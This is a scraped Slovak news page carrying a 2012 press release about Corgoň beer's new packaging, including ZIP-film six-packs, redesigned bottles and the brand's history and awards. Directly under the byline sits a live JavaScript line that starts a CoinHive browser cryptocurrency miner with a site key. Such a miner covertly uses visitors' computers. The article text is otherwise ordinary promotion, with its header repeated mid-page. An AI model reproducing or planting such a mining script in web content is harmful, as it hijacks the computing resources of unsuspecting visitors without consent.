

Pivo Corgoň prináša spotrebiteľom obalové inovácie

Napísal Admin

Piatok, 20 Apríl 2012 08:42

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



BRATISLAVA 20. apríla (WBN/PR) - Corgoň je jedným z najstarších pív na Slovensku a svojim priaznivcom dlhodobo prináša inovácie v oblasti obalov. Od apríla tohto roku podčiarkuje svoju kvalitu aj novými, pre konzumenta praktickejšími obalmi s novým dizajnom. Úplnou novinkou v segmente piva sú trhacie, tzv. ZIP fólie, ktoré zjednodušia spotrebiteľom nákup a uľahčia manipuláciu. Na všetkých obaloch odteraz Corgoň spotrebiteľov upozorňuje aj na svoju bohatú históriu od roku 1896. Moderný dizajn obalov zároveň zvyšuje vnímanie kvality piva značky Corgoň, ktorá je jednou z najpopulárnejších značiek piva na Slovensku.

Prakticky a pohodlne

Značka piva Corgoň už niekoľko rokov prináša spotrebiteľom novinky v oblasti obalovej techniky. V roku 2007 uviedol Corgoň ako prvé pivo na Slovensku 1,5 litrové maxifľaše a stal sa tak priekopníkom v dnes veľmi úspešnom segmente piva v tomto type obalov. O rok neskôr opäť ako prvý na Slovensku priniesol 2-litrové maxifľaše a pivo Corgoň je dnes jedinou slovenskou značkou piva s dvojlitrovou maxifľašou vo svojom portfóliu. Tento rok prináša Corgoň ďalšiu praktickú inováciu, ktorá je úplnou novinkou na pivnom trhu - praktickú trhaciu ZIP fóliu pre šesťbalenia piva Corgoň v 1,5 l a 2l fľašiach. „Corgoň je prvou pivnou značkou, ktorá ponúka spotrebiteľom praktickú ZIP fóliu. Vďaka nej si môže zákazník pohodlne oddeliť dve alebo štyri maxifľaše z celého balenia. Fólia bezpečne udrží oddelené pivá pohromade, a tým umožní veľmi jednoduchú a praktickú manipuláciu. Zákazník si tak môže byť istý, že si svoje obľúbené [pivo](#) donesie domov pohodlne. Aby sme zároveň zlepšili vizibilitu produktu pre spotrebiteľa, rozhodli sme sa pre potlačенú ZIP fóliu s moderným dizajnom,“ vysvetľuje Loic Morvan, marketingový riaditeľ spoločnosti Heineken Slovensko.

História a moderný charakter

Ďalšou novinkou značky Corgoň je nový vzhľad plechoviek, sklenených fliaš a maxifliaš. Nový dizajn obalov bol vyvinutý v súlade s modernými trendmi tak, aby sa okrem praktickosti zvýšila aj ich vizibilita a zvýšilo sa vnímanie kvality u spotrebiteľa. Trendový embosovaný symbol na obale odkazuje na históriu značky, ktorá nepretržite pokračuje od roku 1896. Nová fľaša je v porovnaní s pôvodnou vyššia a štíhlejšia a maxifľaše majú navyše praktickejší úchop. „Obal je to prvé, čo si spotrebiteľ všimne. Naším zámerom pri tvorbe nových obalov bolo priniesť pridanú hodnotu nielen z hľadiska úžitkovosti, ale aj z hľadiska samotného dizajnu a podporiť vnímanie vysokej kvality piva Corgoň samotným spotrebiteľom. Nové obaly svojím vzhľadom prepájajú bohatú históriu značky s jej moderným charakterom,“ hovorí Loic Morvan.

Kvalitné pivo už 116 rokov

Pivo Corgoň má na Slovensku dlhoročnú tradíciu. Je jedným z najstarších slovenských pív,

Pivo Corgoň prináša spotrebiteľom obalové inovácie

Napísal Admin

Piatok, 20 Apríl 2012 08:42

začalo sa variť v Nitre už v roku 1896 a postupne sa stalo obľúbeným na celom území Slovenska. Pivo Corgoň svojím charakterom, receptúrou a plnou chuťou rešpektuje chuťové preferencie tradičných slovenských pivárov. Dnes patrí medzi najpredávanejšie značky pív na Slovensku a je zároveň etablovanou značkou piva v Horeca segmente. Od roku 2010 značka Corgoň priniesla svojim priaznivcom možnosť vychutnať si to najčerstvejšie pivo priamo z pivovaru prostredníctvom jedinečnej, počítačom riadenej technológie tankového piva. V súčasnosti si môžu milovníci kvalitného piva vychutnať tankový Corgoň vo viac ako 100 prevádzkach na celom Slovensku.

Ocenenia kvality

Značka získala viaceré ocenenia za kvalitu. V roku 2007 získal Corgoň tri prvenstvá v súťaži Slovenská pivná korunka, a to v kategórii desiatkových, dvanástkových a tmavých pív. O dva roky neskôr sa Corgoň 10 % umiestnil na 3. mieste a v rovnakej súťaži v roku 2010 obsadil 2. miesto Corgoň výčapný ležiak tmavý. Pivo Corgoň tak už niekoľko rokov potvrdzuje svoju kvalitu. „V roku 2010 sme uskutočnili slepé testy našich i konkurenčných pív a Corgoň v ňom konzumenti ohodnotili ako jedno z najlepších pív v 10 % aj 12 % segmente,“ dopĺňa Loic Morvan.